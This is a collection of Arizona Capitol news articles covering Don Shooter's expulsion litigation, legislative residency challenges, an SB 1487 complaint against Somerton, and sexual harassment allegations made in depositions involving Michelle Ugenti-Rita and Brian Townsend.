The judge pointed out that in 1988 Gov. Evan Mecham raised similar claims that his due process rights would be violated if the state Senate was allowed to go ahead with an impeachment trial against him.

“The (Supreme) Court held that the constitutional provisions that a person shall not be deprived of life, liberty or property without due process do not protect the right to hold the office of governor,” Campagnolo wrote. Anyway, the judge said, these are rights provided to a criminal defendant.

“An impeachment is not a criminal trial,” he said, with the only issue being whether an elected official gets to remain in office.

The same, Campagnolo said, is true where the issue is expulsion from the House.

“The House can do no more than expel a member and cannot impose criminal punishment,” the judge said. “Therefore, it is clear that the expulsion of (Shooter) from the Arizona House of Representatives was a legislative decision under the Arizona Constitution, and any legal challenge to that decision is a non-justiciable political question.”

Separately, Campagnolo said the defamation claims against Mesnard and Adams are “based on innuendo and speculation.”

About the closest the judge said Shooter comes to a legitimate claim relates to the investigative report, the one that became the basis of the vote to oust Shooter.

But Campagnolo pointed out the investigators were hired by legislators. And he said the absolute immunity that lawmakers have against criminal prosecution or civil liability for things they perform as part of their duties extend to the acts of the hired independent contractors.

“Further, whether or not a legislator’s decision to take some action may or may not have had ulterior motives, other than a legislative purpose, that action or decision is protected by absolute legislative immunity,” the judge wrote.

Finally, Campagnolo found no merit in Shooter’s claim that his privacy was invaded in a “false light.”

“The right of privacy does not exist where the plaintiff is a public officer or public figure, and the information is of a public nature,” the judge wrote. And he said even if some of the information was false, public officials can sue only if they can show “actual malice,” meaning that the person disseminating the information acted with the knowledge the information was false or with a reckless disregard of the truth.

Judge rules Wadsack stays on ballot in LD17

From left are Sen. Vince Leach and Republican Senate nominee Justine Wadsack. A judge ruled Aug. 29 Wadsack will remain on the ballot after constituents of Leach filed suit alleging Wadsack does not live in Legislative District 17.

A Pima County judge denied a request by friends of Sen. Vince Leach, R-Tucson, to knock GOP Senate nominee Justine Wadsack off the general election ballot on Monday. 

Two of Leach’s constituents and friends, Onita and Edward Davis, filed a lawsuit against Wadsack days after she beat Leach in the Legislative District 17 primary election. 

The lawsuit claimed that Wadsack should be ineligible to proceed to the general election because she does not live in Legislative District 17, but just lists her address there. Leach’s attorney Tim La Sota argued that since he received the second highest number of votes, his name should replace hers on the ballot. 

Wadsack and her attorneys argued in an evidentiary hearing that lasted several hours, that she moved from her former home outside the district into a home inside the district in February and has been living there ever since. 

Judge Richard Gordon – appointed by former Governor Jan Brewer – ruled against the Davises in Pima County Superior Court late on Monday evening, allowing Wadsack to stay on the ballot. 

Wadsack claimed that she had to move out of her Tucson home on East Sixth Street where she lived for many years with her husband, because her extreme political views were drawing angry people to their home who harassed her, threatened her and used racial slurs. 

She referred to some of the attackers as “Antifa” and said that one of them sicced his dog on her husband and bit him severely in 2020. Now, Wadsack said that she and her husband Garrett are separated, but she hopes to get back together with him eventually. “Either stop running for office and stay home, or leave,” she recalled him saying. 

Garrett testified that he does intend to reunite with his wife.  

La Sota argued that Wadsack only listed a change of address so she could run in an easier district but noted that she signed onto circulation forms in March listing her old address on seven occasions. Wadsack’s children also listed the Sixth Street home as their address, but she said they don’t live there. The house is owned by the Wadsack Trust and Wadsack is listed as a trustee, but she said that doesn’t technically make her an owner. Finally, Wadsack is listed as a precinct committeeperson outside of her district, but she said that’s a mistake. 

Wadsack’s attorneys noted that if Leach had concerns about her residency, he could have filed them months ago, but he waited until he lost his election to act. In the hearing, Wadsack deflected to several topics, criticizing the Secretary of State’s office, crying, discussing her past relationships and going on tangents about her family. 

Wadsack’s new address is a house on Oakbrook Street, also in Tucson. That home is owned by a woman named Rosa Alfonso who said that Wadsack is renting a room from her and paying $250 a month in rent for it. She also testified that she often sees Wadsack around the house and that she keeps things there. 

Wadsack said that at her new address she hasn’t been getting the same threats and attacks that drove her away from the other house because she parks in the garage and is trying “not to bring harm to Rosa.” 

Residency challenges in Arizona have a very low success rate. La Sota brought a case against former lawmaker Don Shooter on a similar claim and failed. He was also prepared to defend Sen. Wendy Rogers, R-Flagstaff, in case her primary opponent Sen. Kelly Townsend, R-Apache Junction, filed a residency suit against her. Townsend attempted to subpoena Rogers at the house she lists as her residence in Flagstaff, but said her attorneys were only able to find Rogers at a residence in Tempe outside their district. Townsend lost to Rogers but decided not to spend the money on a lawsuit. 

Apart from Wadsack’s suit; there are no other residency lawsuits filed against legislators this year. 

La Sota confirmed on Tuesday that he will not appeal the judge’s ruling.

Law to force AG investigation of cities ‘rung’ again, complaint withdrawn quickly

A Yuma lawmaker on Friday started the short-lived process of initiating an attorney general investigation into whether the City of Somerton violated state law by charging a local church a fee for a building permit.

Sen. Don Shooter, R-Yuma (Photo by Rachel Leingang, Arizona Capitol Times)
Sen. Don Shooter, R-Yuma (Photo by Rachel Leingang, Arizona Capitol Times)

Republican Rep. Don Shooter quickly withdrew the complaint on Monday after word spread that city officials are working to fix a local zoning ordinance that conflicts with state law.

The complaint was filed under SB 1487, a 2016 law that allows lawmakers to require the attorney general investigate alleged violations of Arizona law or the Constitution by municipalities.

A recent Arizona Supreme Court ruled affirmed the legality of SB 1487, when the court upheld that state law trumps regulations adopted by cities, counties and towns. In that case, the court found a Tucson law that sought to destroy firearms seized by law enforcement contradicted state statute, which requires seized firearms to be sold.

But Shooter said in an interview there’s no need for his complaint, which he said was filed due to a misunderstanding. He sent a letter to the attorney general withdrawing it.

“After speaking with the Arizona League of Cities and Towns… it has come to my attention that the League intends to work with the City of Somerton to address the specific complaints,” Shooter wrote in the letter.

Unbeknownst to Shooter or the Attorney General’s Office, officials in Somerton — located just outside of Yuma —  have spent the better part of the summer corresponding with the U.S. Department of Justice. The DOJ’s Division of Civil Rights has been working with city officials to find a remedy to the problematic zoning ordinance, which the city sought to apply to the Iglesia Bautista de Somerton.

The church rents a building in a zoning district where Somerton’s zoning code requires religious organizations to apply for and pay for a conditional use permit, according to correspondence between Somerton officials and the U.S. Justice Department. Those emails were forward to the Arizona Attorney General’s Office on August 17 in response to a letter from Assistant Arizona Attorney General Evan Daniels on August 10, alerting the city that in the eyes of the attorney general, Somerton was violating state law.

Daniels wrote to Carmen Juarez, Somerton’s director of community development, that Arizona statute mirrors a federal law requiring equal treatment of religious and nonreligious organizations when it comes to land use regulations.

Despite state statute, Somerton’s zoning ordinance “treats religious assemblies ‘on less than equal terms’ with nonreligious assemblies,” Daniels wrote. The purpose of the letter was to “encourage the city to amend its zoning ordinance to avoid any potential legal action,” he said.

The church balked at Somerton’s requirement for a conditional use permit and the $575 fee associated with it, arguing that the city did not require it of all organizations, including nonreligious groups, according to Shooter’s complaint. Somerton officials responded last October with threat of a citation for a zoning code violation, and according to correspondence from city attorneys, it appears they filed a complaint in court to that effect.

In his complaint, Shooter likened the situation to the case of Centro Familiar Cristiano Buenas Nuevas v. Yuma, a case that made it all the way to the U.S. Ninth Circuit Court of Appeals in 2009. The court determined that a city zoning code that explicitly required religious organizations to obtain conditional use permits in certain zoning districts that did not require the same permits of other nonreligious organizations violated federal law.

Similarly, Arizona law states that “government shall not impose or implement a land use in a manner that treats a religious assembly… on less than equal terms with a nonreligious assembly,” Shooter wrote in his complaint.

William Sims, the city’s attorney, responded to Daniels with a letter outlining his exchanges with federal officials, including the text of proposed changes to the zoning ordinance and  schedule for Somerton officials to adopt those changes. If the city sticks to those deadline, the zoning ordinance will be approved on October 17 and take effect 30 days after that.

Ken Strobeck
Ken Strobeck

Ken Strobeck, executive director of the League of Arizona Cities and Towns, confirmed that Somerton is on the path to complying with the attorney general’s request.

“As far as I’m concerned, this is the way things should work out,” Strobeck said. “Basically, approach the city or the League and say, ‘Can we work this out?’ And then we work it out without having to go through all this formal complaint investigation stuff.”

As for the Attorney General’s Office, spokesman Ryan Anderson said their concern now is whether Somerton will continue to enforce the zoning code up until it’s changed to avoid conflicting with state and federal law. The attorney general only just became aware of the DOJ’s involvement with Somerton on Monday, Anderson said.

“I appreciate that the city of Somerton appears to be taking the steps to repeal their illegal ordinance. It’s too bad that it took the threat of the DOJ and the attorney general’s office to review an ordinance that appears on its face to be illegal,” Anderson said. “Between now and October, will the city commit to essentially pausing this ordinance until they have time to address it via their process?”

Shooter said he expects to sit down with Somerton officials and the Attorney General’s Office soon to make sure a conclusion has been reached, and Anderson said their counsel would be happy to attend such a meeting.

And he said it’s better when cities and towns resolve their conflicts with state law outside of the SB 1487 process.

“The SB 1487 bell has been rung only three times: Somerton, Tucson, and Snowflake. And in two of these cases, the situation resolved itself at the local level,” Anderson said. “I would say that the Supreme Court decision in the Tucson case has had an impact, and SB 1487 as an enforcement mechanism is effective.”

Lawmaker: Republicans out to remove LD6 nominee from ballot

Wendy Rogers, Legislative District 6 Republican Senate nominee, speaks at an event in Scottsdale in October 2014. Rogers’ victory August 4 in the Republican primary has driven Republicans in her district to try to remove her from the ballot because they lack confidence she will win in November and a loss will turn the Senate to Democratic control. PHOTO BY GAGE SKIDMORE/FLICKR
Wendy Rogers, Legislative District 6 Republican Senate nominee, speaks at an event in Scottsdale in October 2014. Rogers’ victory August 4 in the Republican primary has driven Republicans in her district to try to remove her from the ballot because they lack confidence she will win in November and a loss will turn the Senate to Democratic control. PHOTO BY GAGE SKIDMORE/FLICKR

An upset for Wendy Rogers in Legislative District 6 has led some Republicans to write off the Senate seat as a lost cause and others to brainstorm ways to replace her with another Republican candidate.

Rep. Walt Blackman, R-Snowflake, told the Arizona Capitol Times he will not campaign with Rogers, and he’s not currently planning to vote for her. Her primary campaign against Sen. Sylvia Allen — Blackman’s seatmate and a dear friend — included Rogers claiming endorsements from rural Arizonans who said they never endorsed her. 

“Integrity is a big deal,” Blackman said. “When she went to my neighbors, people I go to church with, people that I serve as a sitting representative and lied about their endorsements, it’s really hard for me to hitch on to someone’s wagon and really effectively campaign with them.”

Rogers did not immediately return a message seeking comment for this story. 

Walt Blackman
Walt Blackman

Blackman said he personally won’t vote for the Democratic candidate, Felicia French, but he won’t vote for Rogers either if she doesn’t manage to convince him that she’ll be a good representative of the district. 

“If I don’t agree with the type of representation that she is going to give, based on her history, then, I’m not going to vote for her either,” Blackman said. “The main goal for Wendy Rogers is to get to Congress, and you can put that in your paper.” 

LD6 Republicans, still reeling from Rogers’ decisive primary win, are afraid she’ll lose the general election outright to French, or that French will win by default if Rogers’ residency is challenged. Rogers owns a house in Tempe and a smaller manufactured house in Flagstaff, and critics insist she still lives in her Tempe home. 

Rogers and supporters watched election night results from a party at her Flagstaff house. 

Some Republicans in LD6 are “actively engaged” in talks about challenging Rogers’ residency themselves before Democrats get a chance, Blackman said. If she’s removed from the ballot before they’re printed, they believe precinct committeemen will be able to replace her with a better candidate.

That prospect includes a lot of ifs. First, a 2018 Arizona Supreme Court ruling on a residency challenge to former Rep. Don Shooter, who attempted to run for the Senate after being expelled from the state House after being accused of sexually harassing several women, takes a lax approach to residency laws.

Shooter had shut off electrical service at his Yuma apartment, forwarded his mail to a Phoenix home he and his wife co-owned and briefly switched his voter registration to that Phoenix address, switching back to Yuma little more than two weeks before filing to run for office. But the court determined that Shooter lived in Yuma because he paid rent on the apartment, listed the address on his driver’s license and was registered to vote there when he filed — all signs, the court said, that “Shooter is a resident of Yuma with actual physical presence there combined with an intent to remain.”

Even if a court determines that Rogers doesn’t meet its standards for living in the district, Republicans might not get to pick a replacement. The law that governs filling vacancies on ballots, ARS 16-343, applies to candidates who die, become incapacitated or withdraw from the ballot between the primary election and the time ballots are printed. 

“If the residency was not a question and we knew that we were going to get the proper type of representation at the Senate from Rogers, I don’t think there’d be groups out there challenging,” Blackman said. “But since that is an issue and the majority of the people in the district understand what her motives are, she’s gonna get challenged.” 

Allen said she has a problem with the way courts fail to uphold residency requirements, and she’s not involved in any new efforts to push Rogers from the ballot. She also won’t help Rogers with an election bid. 

Sylvia Allen
Sylvia Allen

“Are you kidding?” Allen asked. “She doesn’t need my support. I don’t have to go out and do anything for her.” 

Outside of LD6, some Republican consultants have written off the Senate seat as a lost cause and shifted focus to suburban Maricopa County as the only way to stop a Democratic majority in the Senate. In an election night tweet, GOP consultant Brian Murray identified Legislative District 17, a Chandler-area district represented by Sen. J.D. Mesnard, as the district that will decide the fate of the Senate.

“Sylvia Allen had a special relationship with Democrat voters,” Murray said. “She was ingrained in a community that over time has become more Republican, but she still had great relationships with very conservative Democrats.”

Republicans could lose Legislative District 28, a north Phoenix district now represented by two Democrats in the House and which moderate Republican Sen. Kate Brophy McGee barely held on to in 2018. Other suburban districts, including LD17 and the Glendale-based Legislative District 20, represented by Sen. Paul Boyer, are considered flippable by Democrats.

LD17 elected a Democrat, Rep. Jennifer Pawlik, in 2018, and the state party is bullish about the chances of its Senate candidate, A.J. Kurdoglu. 

Mesnard disputed the suggestion that his race could decide the Senate, saying he wouldn’t count out either Rogers or Brophy McGee. He said Rogers’ ability to fundraise — she raised more than $550,000, far more than any other candidate this primary — may come in particularly useful in LD6, where Mesnard noted that French has brought in vast sums of money from California and outside Democratic groups are spending heavily. 

“Obviously Wendy did really well last night, and perhaps people who were surprised about last night’s win for her should rethink that idea that she’s some sort of lost cause for November,” Mesnard said August 5.  “I don’t think that at all. I think she has a very good pathway to win. It’ll be obviously a tough race as it will be for Kate and myself and Boyer and a good chunk of us, because it’s an unpredictable election cycle.”

Lawsuit challenges Don Shooter’s residency

This Feb. 14, 2017, file photo shows Arizona state Rep. Don Shooter, R-Yuma, on the House floor at the Capitol in Phoenix. (AP Photo/Bob Christie,File)
This Feb. 14, 2017, file photo shows Arizona state Rep. Don Shooter, R-Yuma, on the House floor at the Capitol in Phoenix. (AP Photo/Bob Christie,File)

A Republican contender in Legislative District 13 is challenging former Yuma Rep. Don Shooter’s residency in his bid for a comeback to the state Senate.

In a complaint filed in Maricopa County Superior Court today, attorney Timothy La Sota alleged that Shooter does not qualify for the primary ballot because he doesn’t live in Legislative District 13.

Shooter is seeking a political comeback in LD13, which he represented since 2011, first in the Senate and then in the House of Representatives before his expulsion from the House in February. Shooter was expelled after an investigation found he had sexually harassed several women, including another lawmaker, and created a hostile work environment.

La Sota filed the suit on behalf of Brent Backus, who is facing off against Shooter for the Republican nomination to the Senate seat. He seeks to prevent Shooter’s name from being printed on the Aug. 28 primary ballot.

Shooter declined to comment on the challenge, but said in a text message: “Let’s dance.” He also declined to answer questions about his residency.

In the lawsuit, La Sota alleged that Shooter lives in a 2,660-square-foot home on North 22nd Street in Phoenix’s Biltmore area, where Shooter and his wife, Susan, registered to vote on April 30, and not in a rental apartment on South Palo Verde Lane in Yuma.

The Phoenix home, La Sota wrote, is owned by Shooter and the Shooter Family Trust, and is listed as a primary residence.

He said Shooter does not own any property in Yuma, where the former politician alleges he has lived for 38 years.

The Arizona Constitution requires that candidates live in the county that they are running in for at least one year prior to the election, and state statutes mandates candidates for public office to reside in the county, district or precinct that they wish to represent.

 



Brent Backus v Don Shooter (Text)

Lawyers: Motion to reveal Shooter probe files unenforceable

Rep. Todd Clodfelter (R-Tucson) (Photo by Rachel Leingang/Arizona Capitol Times)
Rep. Todd Clodfelter (R-Tucson) (Photo by Rachel Leingang/Arizona Capitol Times)

Lawyers say House Speaker J.D. Mesnard likely wouldn’t have had to comply with a motion seeking to force him to release documents related to the investigation of former Rep. Don Shooter, even if it had been successful.

Kory Langhofer, an attorney with Statecraft PLLC, specializing in political and constitutional law, said Rep. Todd Clodfelter’s motion wasn’t properly worded.

On March 26, the Tucson Republican made a motion on the House floor seeking to require that the chamber release all testimony, notes, photographs, or descriptions of the photographs, emails, and text messages related to the Shooter sexual harassment investigation.

The effort was quickly shut down after Mesnard said Clodfelter’s motion was out of order because he only asked to read a letter, not make a motion.

However, Langhofer said even if Mesnard had allowed members to vote on the motion, and it passed, it wouldn’t have been enforceable.

“A generic motion to compel a member to do something, I don’t think would have worked,” Langhofer said.

Instead, Langhofer said Clodfelter would have had to make a motion to create, amend or suspend House rules. For example, he said, Clodfelter could have proposed a new rule that all records pertaining to internal investigations must be disclosed, or a rule specifically addressing the Shooter investigation records.

House rules can be amended or suspended by a simple majority.

“If the right motion is presented and passes, then yes, the House would have to comply with it,” Langhofer said, adding that a majority vote by the members supersedes whatever powers House rules give the speaker.

Rob Dalager, a lobbyist with Public Policy Partners, an attorney, and a former Senate staffer, said the speaker has broad authority over operations of the House under the chamber’s rules.

Clodfelter’s motion would’ve needed to seek to suspend any rules that impact Mesnard’s ability to release or withhold the investigative documents, he said.

If members would have approved such a motion, Dalager said, then Mesnard would’ve had to comply.

“The body is acting as the speaker (by adopting that rule). They take on that responsibility,” he said. “The question then sort of becomes, if they’re making it basically a public record where it might not have been a public record before, that could be a problem.”

Langhofer said approving any rule changes to require that the House disclose the records could open the chamber up to a lawsuit.

“Even if (Clodfelter) had done it right, it’s not clear it would have worked, not because there’s no way of accomplishing it, but because it’s not clear he has the political support and because it may lead to a lawsuit,” he said.

Clodfelter said he hasn’t yet decided whether to try again to force a vote on his motion.

He said he’s sure he would’ve had enough votes, though.

Since he made his motion, Clodfelter said he has spoken with members and Mesnard about how to tackle the issue. He said he would like to continue discussing it without disrupting action on the floor.

“We’re trying to work it out, kind of behind the scenes, rather than be so public and disrupt the flow on the floor because that’s not my goal,” he said. “My goal is to just get some transparency and disclosure.”

Mesnard has been adamant that without a court order or subpoena he won’t release any additional records from the investigation.

Shooter, a Yuma Republican, was expelled from the House of Representatives on February 1 after an investigation found that he had sexually harassed several people, including a fellow lawmaker, and created a hostile work environment.

Lobbyist: Ugenti-Rita sexually harassed her before Shooter expulsion

Rep. Michelle Ugenti, R-Scottsdale, listens to Rep. Don Shooter, R-Yuma, read a statement regarding sexual harassment and other misconduct complaints made against him by Ugenti-Rita and others. Shooters comments came during mandatory sexual harassment and ethics training Jan. 9 on the House floor of the capitol.
Rep. Michelle Ugenti, R-Scottsdale, listens to Rep. Don Shooter, R-Yuma, read a statement regarding sexual harassment and other misconduct complaints made against him by Ugenti-Rita and others. Shooters comments came during mandatory sexual harassment and ethics training Jan. 9, 2018, on the House floor of the capitol.

Sen. Michelle Ugenti-Rita, the Scottsdale Republican who became the face of Arizona’s #MeToo movement when her claims led to a fellow lawmaker’s expulsion, sexually harassed a female lobbyist so severely it took a toll on the woman’s mental health and career, the lobbyist alleged in a sworn deposition.

The deposition was part of a motion filed in Maricopa County Superior Court on Jan. 31 in the defamation lawsuit and counter-lawsuit between Ugenti-Rita and former Rep. Don Shooter. The woman describes a pattern of harassment by Ugenti-Rita and her now-husband, former adviser to the governor Brian Townsend, over the summer of 2016 that led the lobbyist to believe the political power couple was trying to recruit her for a threesome. Repercussions from those unwanted advances led the woman to seek therapy, turn down job offers and miss work days, she said.

A year later, as the #MeToo movement took root in statehouses around the country, Ugenti-Rita detailed sexual harassment she encountered as a lawmaker, including suggestive comments about her body and an exposing yank on her dress at a legislative reception. After several other women, including two more lawmakers, joined her in accusing Shooter of a pattern of inappropriate behavior, the House expelled him in February 2018.

Former Rep. Don Shooter makes a point during a speech on the floor of the Arizona State House before the vote to expel him from the chamber on Feb. 1, 2018. (Photo by Howard Fischer/Capitol Media Services)
Former Rep. Don Shooter makes a point during a speech on the floor of the Arizona State House before the vote to expel him from the chamber on Feb. 1, 2018. (Photo by Howard Fischer/Capitol Media Services)

Independent investigators hired by the House heard the woman’s story, but did not include most of it in the report that damned Shooter. It became public on Tuesday, nearly two years to the day after his expulsion, when Shooter included her subpoenaed deposition in a defamation suit.

Ugenti-Rita declined to comment for this story.

In more than three hours of testimony on Nov. 13, the woman describes her fear of Ugenti-Rita, and her struggles to balance her personal discomfort with her professional need to maintain a good relationship with Ugenti-Rita, who she said  served as a “prominent vote” for her employer’s interests and who “had a reputation of seeking retribution.”

The woman describes being intimidated by Ugenti-Rita and Townsend, and telling her bosses that she did not want to be around either of them. Ugenti-Rita even followed her into a bathroom and threatened her in December of 2018, telling her “everyone was going to find out what a liar” the woman was, she said in her deposition.

“They are both powerful people in Arizona politics, and I didn’t want them to affect any future career opportunities or harm me in any other potential way,” the woman said. “I was being strategic and I was trying to navigate the situation to the best of my ability in a time before the Me Too Movement and it was okay to come out about these sorts of things.”

TEXTS AND BODY SHOTS

The lobbyist and former Capitol staffer, who is unnamed in court documents, worked with Ugenti-Rita in the House. She said she did not feel uncomfortable around the lawmaker until June 2016, several months after she left the Legislature for a lobbying job.

The woman invited Ugenti-Rita and Townsend to drinks with her and her boyfriend, to celebrate Ugenti-Rita’s birthday and improve her relationship with Ugenti-Rita so she could better lobby for her employer, the woman said.

Townsend didn’t join, and the woman’s boyfriend was late. Earlier in the night, before the woman’s boyfriend arrived, Ugenti-Rita swiped through images of herself in lingerie while showing the woman pictures from her phone, something the lobbyist didn’t think much of at the time.

Ugenti-Rita also laid on a bar for body shots, having the lobbyist and another woman at the bar drink alcohol out of her belly button, lick salt from her stomach and suck a lime from her mouth, the woman said. Ugenti-Rita confirmed the body shots in her own sworn deposition, but said the woman asked to do them.

The next morning, the woman woke up to a text message from Townsend, her former boss at the House of Representatives who is 21 years older than her, with a photo of a naked woman, with no message and the head cropped out of the frame. The lobbyist said there was no question in her mind that the woman in the photograph was Ugenti-Rita.

“I was really distraught and freaked out,” she said in the deposition. “I didn’t know what to do.”

Over the next several weeks, Townsend sent two more photos of himself performing oral sex on a woman, the lobbyist said. One of the messages said something along the lines of “she wants to be with you,” the lobbyist said.

The third text, sent while Townsend and Ugenti-Rita were attending a National Conference of State Legislatures meeting in Chicago, included a message telling the woman she should tell Townsend if she wasn’t interested.

Scared but not wanting to ruin her relationship with the power couple, the lobbyist responded “something along the lines of, ‘Sorry, grandma goes to bed by 10:00, love you both but not like that, hope you’re having fun at NCSL,’” she told attorneys.

Ugenti-Rita confirmed in her own sworn deposition that she was the woman in the photos, and that either she or Townsend took them. But she said she didn’t know Townsend planned to send them, and she didn’t find out the woman had received those photos until after the House’s independent investigator showed them to her.

“They are just something private between him and I,” Ugenti-Rita said.

THE CONFERENCE

A few weeks later, while the woman and Ugenti-Rita were both attending a trade association conference in Arizona, Ugenti-Rita asked her to take a selfie to send to Townsend. Ugenti-Rita also asked if the lobbyist could tell she wasn’t wearing a bra and invited her back to the lawmaker’s hotel room multiple times.

Rep. Michelle Ugenti-Rita, R-Scottsdale, stands at her desk on the floor of the Arizona House of Representatives, before a vote to expel Rep. Don Shooter, R-Yuma. Ugenti-Rita’s allegations of sexual harassment by Shooter led a host of women and one man to air similar allegations against him. (Photo by Katie Campbell/Arizona Capitol Times)
Sen. Michelle Ugenti-Rita. (Photo by Katie Campbell/Arizona Capitol Times)

The lobbyist deflected until Ugenti-Rita asked the lobbyist’s boss if she could “steal” her for a second. After her boss agreed, the woman reluctantly followed Ugenti-Rita back to her room. She told lawyers she was uncomfortable saying no, because Ugenti-Rita and Townsend were both in positions of power.

Ugenti-Rita lay on the couch “very provocatively,” the woman said, and invited her to spend the night — or at least stay long enough to greet Townsend when he arrived.

“I was very freaked out by the potential of Brian getting there while I was still there,” the woman said. “I felt like if Brian showed up, it would have put me in a potentially dangerous situation.”

Their interactions that evening convinced her that Ugenti-Rita knew about the lewd messages Townsend sent and that their hotel room interaction was Ugenti-Rita’s attempt to lure her into a threesome, the woman said. She texted her boss asking him to call her and give her an excuse to return to the main conference area.

Ugenti-Rita said in her deposition that the woman was “eager” to come back to her room.

“We were friends,” Ugenti-Rita said. “She had made a big effort to reach out to me quite a bit, engage with me, text me, send me pictures, say very flattering things to me, very complimentary, very friendly and had reached out the day before to see if I was going to be there because she had seen my name on a list of some sort. And I took her at her word that we were friends.”

The next day, still trying to maintain a professional relationship with Ugenti-Rita, the woman texted her and Townsend an invitation to a conference party she knew they would not be able to attend.

“She had told me her kids were going to be there that night, so I knew she wouldn’t be able to, and I was trying to settle the dust after feeling I abruptly left her room the night before,” the woman said.

The woman received one last text from Townsend shortly after that conference — an image of him having sex with a woman from behind and a message saying he would watch if she wanted to have sexual relations with just the woman in the photo. She told him she wasn’t interested and to stop messaging her.

And after that interaction, she decided not to seek a job in the governor’s office because Townsend would have been her supervisor.

INVESTIGATION

The lobbyist described her experiences to an investigator hired by the House in the late fall of 2017 to investigate allegations made against Shooter, Ugenti-Rita and Sen. Rebecca Rios, who was accused of having an affair with a House staffer more than 20 years her junior who was subsequently fired.

The ethics complaint against Rios, who was House Minority Leader at the time, was dismissed as a perceived political dispute between Rios and another lawmaker.

The lobbyist told attorneys she was afraid when an investigator contacted her, because she didn’t know how the team got her name and she “didn’t want to be seen as a target” for Ugenti-Rita or Townsend. And during the investigation, she began seeing a therapist and keeping a journal.

She said she discussed the happy hour and conference, provided copies of the explicit texts and told investigators they could interview her boss. The report focused only on the text messages, relegating the conference interaction to a footnote as an “immaterial” fourth incident.

Investigators determined that Townsend acted alone in sending sexually explicit images and messages to the lobbyist.

“Ms. Ugenti-Rita unequivocally denied any knowledge of, or involvement in, the conduct,” the 2018 report read. “We found her testimony in this regard credible. She was visibly distraught, briefly lost the composure and confidence she had generally displayed during our interactions with her, expressed genuine surprise and shock, and conveyed sincere sympathy for (the woman).”

Townsend, meanwhile, cried and trembled during his interview, saying the texts would be the “death knell” of his career and his relationship with Ugenti-Rita.

His government career was already over — Townsend resigned from the governor’s office on Dec. 23, 2016, one day after he was cited for extreme drunken driving  in Mesa. He pleaded guilty to the charge, and began working as a lobbyist. His final lobbying contracts ended shortly after the House investigators released their report, according to records filed with the Arizona Secretary of State.

But the relationship with Ugenti-Rita continued. The two married in December 2018.

“At that time, that happened a year and a half, almost two years prior,” Ugenti-Rita said in her deposition. “I spent a lot of time soul-searching, and there was a lot of good in our relationship, and he took responsibility. He was extremely remorseful, and we started to heal.”

PARALLELS

Ugenti-Rita, in her own deposition, describes years of harassment from Shooter, beginning in her first House term in 2011. Her claims, all of which were previously laid out for House investigators, included Shooter showing up at her hotel room with a six pack of beer during an American Legislative Exchange Council conference, joking that he wished he were her infant when she excused herself to breastfeed and asking if she had had breast implants.

Ugenti-Rita said in her deposition she did not feel comfortable telling Shooter when she found his behavior inappropriate. Individual actions and comments came across as “unwelcoming,” “awkward” and “harassing,” and they had the most effect taken cumulatively, she said.

“I was scared,” she said in her deposition. “I didn’t know what would happen.”

Instead, she described trying to avoid him — staying away from him at events, avoiding entering other representatives’ offices if he was in there and not responding to comments he made.

And on the two occasions she did try to talk to him about how his behavior was inappropriate, Shooter brushed her off, Ugenti-Rita said.

“He just — like, it never resonates, you know,” she said. “Real joking, plays it off, you know, kind of insincere.”

The #MeToo movement allowed for an honest conversation about sexual harassment and emboldened Ugenti-Rita to speak out publicly about what she experienced in the Legislature, she said. But Shooter has continued to harass her even after his expulsion, she said in her deposition.

“He has said derogatory and graphic things to me— about me, excuse me, to other members,” she said.  “He has been a part of making sure everyone associated with me in my private life, in my work life know about the pictures. He has weaponized them. And it feels like a virtual rape over and over again.”

Shooter’s attorneys questioned Ugenti-Rita at length about the parallels between her discomfort around Shooter and the woman’s unease with Ugenti-Rita. The two situations are different, Ugenti-Rita insisted.

“Hers is predicated on her thinking I did something I did not do,” Ugenti-Rita said.

Ugenti-Rita said she was not necessarily in a position of power over the lobbyist, because most of the bills the lobbyist worked on went through a committee other than the one Ugenti-Rita chaired.

She confirmed that she did stop the woman near a bathroom in December 2018 to call her a liar. It was not an act of intimidation or retaliation, Ugenti-Rita said

“[It probably] would have been best if I didn’t, but I saw her out of the blue coming out of the bathroom and in light of her saying I had sent photos that I did not, I said she was lying,” Ugenti-Rita said.

FALLOUT

The House investigators’ final report led to Shooter’s expulsion, cleared Ugenti-Rita and did not contain any information about the allegations against Rios.

Shooter responded to the report’s release by reading a letter on the floor of the House describing the woman’s story. Although he did not use her name, she soon heard about the letter from former coworkers at the House who suspected it was about her.

J.D. Mesnard
J.D. Mesnard

Shooter’s letter was a “violation,” and “embarrassing,” the woman said. After its release, then-House Speaker J.D. Mesnard called her, on speaker in a room with several other House employees, to ask about the letter.

“It was intimidating to be on that line,” she said. “Not every day the Speaker wants to talk to you. And I didn’t know a lot of the people in the room, who had previously been coworkers. So it was embarrassing to be in that situation, and uncomfortable.”

She feared that the letter, and Shooter continuing to question why he was expelled and Ugenti-Rita was not, would lead to her own identity being released and hurt her future career and reputation.

Her testimony is critical to a pair of civil lawsuits Shooter filed — one a lawsuit against the state and Mesnard alleging that his constitutional rights to due process were violated, and one a countersuit filed against Ugenti-Rita for defamation after she sued Shooter.

In the case against Mesnard, Maricopa County Superior Court Judge Theodore Campagnolo, a Democrat appointed by Gov. Doug Ducey, rejected Shooter’s claims in a Dec. 24 ruling that his rights were violated when the state House voted to oust him in early 2018. That case is still active, but a U.S. District judge threw out similar federal claims in June.

The woman refused to participate in the litigation until she received a formal subpoena, and told attorneys she was worried about attending her deposition because Ugenti-Rita could be there.

The depositions filed Jan. 31 are the second trove of documents detailing inappropriate relationships between lobbyists and lawmakers to be released during the first few weeks of the legislative session.

A series of intimate letters Rep. David Cook, R-Globe, wrote to Western Growers Association lobbyist AnnaMarie Knorr were shared with reporters last month, raising questions about whether Cook gave preferential treatment to Knorr’s clients.

Knorr has been placed on indefinite leave from the Western Growers Association as it investigates the letters. Cook, like Ugenti-Rita in the Senate, continues to vote on behalf of the people of Arizona.
-Yellow Sheet Report editor Hank Stephenson contributed to this article.

Male House GOP members join women in seeking Ugenti-Rita’s suspension from leadership

Eight male GOP state representatives have joined four of their female colleagues in calling for Reps. Michelle Ugenti-Rita and Rebecca Rios to be removed from their leadership roles during an investigation of their alleged inappropriate relationships with Capitol staffers.

The letter, first signed by Republican Reps. Regina Cobb, Jill Norgaard, Becky Nutt and Maria Syms, was originally sent to Speaker J.D. Mesnard, R-Chandler, and every member of the House on Friday.

Rep. Michelle Ugenti-Rita (R-Scottsdale)
Rep. Michelle Ugenti-Rita (R-Scottsdale)

Mesnard has the authority to strip Ugenti-Rita of her chairmanship on the House Ways and Means Committee. The speaker removed  Rep. Don Shooter, R-Yuma, as chair of the Appropriations Committee after nine women, including Ugenti-Rita, accused him of sexual harassment.

